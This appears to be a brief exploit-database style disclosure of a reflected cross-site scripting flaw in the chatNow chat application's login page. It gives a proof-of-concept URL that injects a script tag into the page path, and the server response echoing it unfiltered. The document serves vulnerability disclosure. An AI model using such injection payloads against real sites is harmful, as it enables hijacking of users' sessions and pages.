# Exploit Title: chatNow - Reflected XSS
# Date: 2016-08-23
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://chatnow.thiagosf.net/
# Software Link: https://github.com/thiagosf/chatNow/archive/master.zip
# Version: Latest commit
# Tested on: Debian [wheezy]

### Vulnerability
This page url is reflected data on page
It is vulnerable page because not filtered reflected url
    
### Attack code
http://127.0.0.1/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1

### Response
<div id="box_login">
    <h2>chatNow</h2>
  <form action="/vul_test/chatNow/login.php/95fb4"><script>alert(45)</script>b5ca1" method="post">
    <div class="block_field">
      <label for="user">Nick</label>
      <input type="text" name="user" id="user" maxlength="20" /> 
    </div>